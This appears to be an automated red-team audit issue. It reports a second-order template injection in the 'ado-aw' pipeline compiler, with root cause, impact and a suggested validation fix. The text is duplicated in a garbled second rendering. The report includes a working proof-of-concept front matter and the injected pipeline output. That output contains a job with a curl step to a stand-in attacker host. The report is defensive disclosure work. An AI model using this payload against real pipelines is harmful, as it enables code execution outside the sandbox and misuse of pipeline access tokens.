π΄ Red Team Security Audit
Audit focus: Category A (Input Sanitization & Injection) β second-order template marker substitution
Severity: High
Findings
| # |
Vulnerability |
Severity |
File(s) |
Exploitable? |
| 1 |
Second-order template injection via name: "\{\{ agent_content }}" |
High |
src/compile/common.rs:2198-2205, src/data/base.yml:2 |
Yes β injects arbitrary jobs: blocks into pipeline YAML |
Details
Finding 1: Second-order Template Injection via name Field
Description: The validate_front_matter_identity function blocks ADO expressions ($\{\{, $(, $[) in the name field but does not block the compiler's own template marker syntax (\{\{ ... }}). When name is set to \{\{ agent_content }}, a two-step substitution occurs:
\{\{ agent_name }} β \{\{ agent_content }} (the literal string from front_matter.name)
\{\{ agent_content }} β markdown body (applied to all newly-created occurrences from step 1)
Because \{\{ agent_name }} appears at the top of base.yml as an unquoted YAML scalar (name: \{\{ agent_name }}-$(BuildID)), and because \{\{ agent_content }} is substituted after \{\{ agent_name }} in the sequential replacement fold, the entire multi-line markdown body gets injected directly into the top-level pipeline YAML.
Attack vector: Set front matter name: "\{\{ agent_content }}" and craft the markdown body as valid YAML:
---
name: "\{\{ agent_content }}"
description: "PoC for second-order template injection"
---
null # name field becomes null (comment hides remainder of line)
jobs:
- job: InjectedJob
displayName: "Attacker-injected job"
pool:
name: ubuntu-latest
steps:
- bash: |
echo "Arbitrary execution outside AWF sandbox"
curl (attacker.example.com/redacted)
displayName: "Injected malicious step"
# end of injected content
Proof of concept β confirmed with ado-aw compile. The generated pipeline YAML opens with:
name: null # name field becomes null (comment hides remainder of line)
jobs:
- job: InjectedJob
displayName: "Attacker-injected job"
pool:
name: ubuntu-latest
steps:
- bash: |
echo "Arbitrary execution outside AWF sandbox"
curl (attacker.example.com/redacted)
displayName: "Injected malicious step"
# end of injected content-$(BuildID)
resources:
...
jobs: β legitimate template jobs block
- job: Agent
...
The injected jobs: block appears before the legitimate one. YAML parsers that accept the first occurrence of a duplicate key will execute the attacker's job instead of the real pipeline.
Impact:
- The injected job runs outside the AWF network sandbox β no domain allowlist, no MCPG routing, unrestricted network access
- The injected job bypasses all SafeOutputs write controls β direct ADO API access using the pipeline's
System.AccessToken
- Completely undermines the security model (Stage 1 vs Stage 3 separation, AWF isolation)
- The
\{\{ agent_content }} name passes all existing validation checks (no $\{\{, no $(, no newlines)
Also applicable to \{\{ agent_description }} injection path: Setting name: "\{\{ copilot_params }}" replaces the copilot CLI flags in the generated pipeline (though impact is lower there).
Root cause: The validate_front_matter_identity function only blocks ADO template expression prefixes ($\{\{, $(, $[), not the compiler's own \{\{ ... }} marker syntax. The replacement fold in compile_shared is sequential, so a value injected by one substitution can be acted on by a subsequent substitution.
Suggested fix:
- Add a validation rule in
validate_front_matter_identity that rejects any name or description value containing \{\{ (the compiler's marker delimiter) β e.g.:
if value.contains("\{\{") {
anyhow::bail!("Front matter '{}' contains a template marker delimiter '\{\{\{\{' which is not allowed.", field);
}
- Alternatively, perform the
\{\{ agent_name }} substitution last (after \{\{ agent_content }}) so newly-created markers are never re-processed. However, option 1 is simpler and more robust.
Audit Coverage
| Category |
Status |
| A: Input Sanitization |
β
Re-scanned β new finding |
| B: Path Traversal |
β
Scanned |
| C: Network Bypass |
β
Scanned |
| D: Credential Exposure |
β
Scanned |
| E: Logic Flaws |
β
Scanned |
| F: Supply Chain |
β
Scanned |
This issue was created by the automated red team security auditor.
Generated by Red Team Security Auditor Β· β 6.4M Β· β·
π΄ Red Team Security Audit
Audit focus: Category A (Input Sanitization & Injection) β second-order template marker substitution
Severity: High
Findings
name: "\{\{ agent_content }}"src/compile/common.rs:2198-2205,src/data/base.yml:2jobs:blocks into pipeline YAMLDetails
Finding 1: Second-order Template Injection via
nameFieldDescription: The
validate_front_matter_identityfunction blocks ADO expressions ($\{\{,$(,$[) in thenamefield but does not block the compiler's own template marker syntax (\{\{ ... }}). Whennameis set to\{\{ agent_content }}, a two-step substitution occurs:\{\{ agent_name }}β\{\{ agent_content }}(the literal string fromfront_matter.name)\{\{ agent_content }}β markdown body (applied to all newly-created occurrences from step 1)Because
\{\{ agent_name }}appears at the top ofbase.ymlas an unquoted YAML scalar (name: \{\{ agent_name }}-$(BuildID)), and because\{\{ agent_content }}is substituted after\{\{ agent_name }}in the sequential replacement fold, the entire multi-line markdown body gets injected directly into the top-level pipeline YAML.Attack vector: Set front matter
name: "\{\{ agent_content }}"and craft the markdown body as valid YAML:Proof of concept β confirmed with
ado-aw compile. The generated pipeline YAML opens with:The injected
jobs:block appears before the legitimate one. YAML parsers that accept the first occurrence of a duplicate key will execute the attacker's job instead of the real pipeline.Impact:
System.AccessToken\{\{ agent_content }}name passes all existing validation checks (no$\{\{, no$(, no newlines)Also applicable to
\{\{ agent_description }}injection path: Settingname: "\{\{ copilot_params }}"replaces the copilot CLI flags in the generated pipeline (though impact is lower there).Root cause: The
validate_front_matter_identityfunction only blocks ADO template expression prefixes ($\{\{,$(,$[), not the compiler's own\{\{ ... }}marker syntax. The replacement fold incompile_sharedis sequential, so a value injected by one substitution can be acted on by a subsequent substitution.Suggested fix:
validate_front_matter_identitythat rejects anynameordescriptionvalue containing\{\{(the compiler's marker delimiter) β e.g.:\{\{ agent_name }}substitution last (after\{\{ agent_content }}) so newly-created markers are never re-processed. However, option 1 is simpler and more robust.Audit Coverage
This issue was created by the automated red team security auditor.